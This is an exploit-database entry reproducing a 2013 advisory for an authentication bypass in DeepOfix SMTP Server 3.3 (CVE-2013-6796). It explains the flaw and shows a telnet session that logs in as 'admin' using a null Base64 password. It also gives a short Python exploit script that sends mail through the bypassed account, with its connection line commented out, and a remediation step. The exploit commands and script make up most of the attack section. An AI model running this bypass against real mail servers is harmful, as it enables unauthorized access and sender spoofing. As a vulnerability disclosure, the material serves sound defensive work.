DeepOfix SMTP Server 3.3 - Authentication Bypass Exploit

Свойства

Дата публикации:
25.11.2013
Цель:
DeepOfix SMTP Server 3.3
Тип воздействия:
Компрометация системы

Код

======================================================================================
Vulnerability:   Bypass authentication and gain unauthorized access to SMTP server
======================================================================================
Platform:        DeepOfix
Version:     <= 3.3 (All versions tested)
Vendor:      Deep Root Linux - http://www.deeproot.in
Date:        2013/11/06
Discovered by:   Gerardo Vazquez, Eduardo Arriols
            [Pragsis-Security - http://pragsis-security.com/]
Severity:        7.5/10 (CVSS Base Score)
CVE:         2013-6796
======================================================================================
 
1. Background
**************************************************************************************
 DeepOfix is a free ISO of DeepRootLinux to mount a mail server providing users the
 ability to send emails via SMTP, check e-mail via IMAP, access the files via FTP or
 SSH...
 
 
2. Problem Description
**************************************************************************************
 The vulnerability allows an attacker to bypass the authentication in the SMTP server
 to send emails. The problem is that the SMTP server performs authentication against
 LDAP by default, and the service does not check that the password is null if this
 Base64. This creates a connection "anonymous" but with a user account without entering
 the password.
 
 It is important to note that the same could be used with other services also
 validate against LDAP.
 
 
3. Impact
**************************************************************************************
 An Attacker could login in the SMTP server knowing only the username of one user in the
 server and he could sends emails. One important thing is that the user "admin" always
 exists in the server.
 
     
4. Expotation
**************************************************************************************
 To authenticate against the SMTP server can make the login is done using Base64, so if
 you enter the user "admin" and password null or '\0' in Base64 give us access server as
 "admin" without checking the password.
 
   The credentials in Base64:
 
    User: "admin" ===> "YWRtaW4="
    Password: null ==> "AA=="   
 
   Example of how we could authenticate to the system:
 
        test@0-day ~ $ telnet deepofix.local 25
    Trying deepofix.local...
    Connected to deepofix.local.
    Escape character is '^]'.
    220 deepofix.local ESMTP
    auth login              # In ASCCI:
    334 VXNlcm5hbWU6            # 334 Username:
    YWRtaW4=                # admin
    334 UGFzc3dvcmQ6            # 334 Password:
    AA==                    # \0
    235 nice to meet you           
     
   Now we would be authenticated as "admin" so we could send emails from that account.
 
 
   Simple exploit in Python [exploit.py]:
    -----------------------------------------------------------------
    | import smtplib                        |
    |                               |
    | # Select the sender and the receivers             |
    | sender = 'sender@mail'                    |
    | receivers = ['receiver@mail.com']             |
    |                               |
    | # Write the message                       |
    | message = """                         |
    |   From: From Sender <sender@mail.com>           |
    |   To: To Receiver <receiver@mail.com>           |
    |   Subject: NSA is watching you!               |
    |                               |
    |   This is a really important message... xD        |
    |   """                         |
    |                               |
    | # Connect to the SMTP server and send the email       |
    | try:                              |
    |   # server = smtplib.SMTP('deepofix.local', 25)       |
    |                               |
    |   # Auth login --> admin/null in Base64            |
    |   server.docmd("auth login")              |
    |   server.docmd("YWRtaW4=")                |
    |   server.docmd("AA==")                    |
    |                               |
    |   server.sendmail(sender, receivers, message)             |
    |   print "Successfully sent email"             |
    |                               |
    | except:                           |
    |       print "Error: unable to send email"             |
    -----------------------------------------------------------------
     
 
5. Solution
**************************************************************************************
 To solve the problem we have only ban the anonymous LDAP bind.
 
 It is done by editing /var/easypush/ldap/etc/openldap/slapd.conf and add
 the line "disallow bind_anon". After you restart the ldap service with:
    sv term slapd
    slapd sv status
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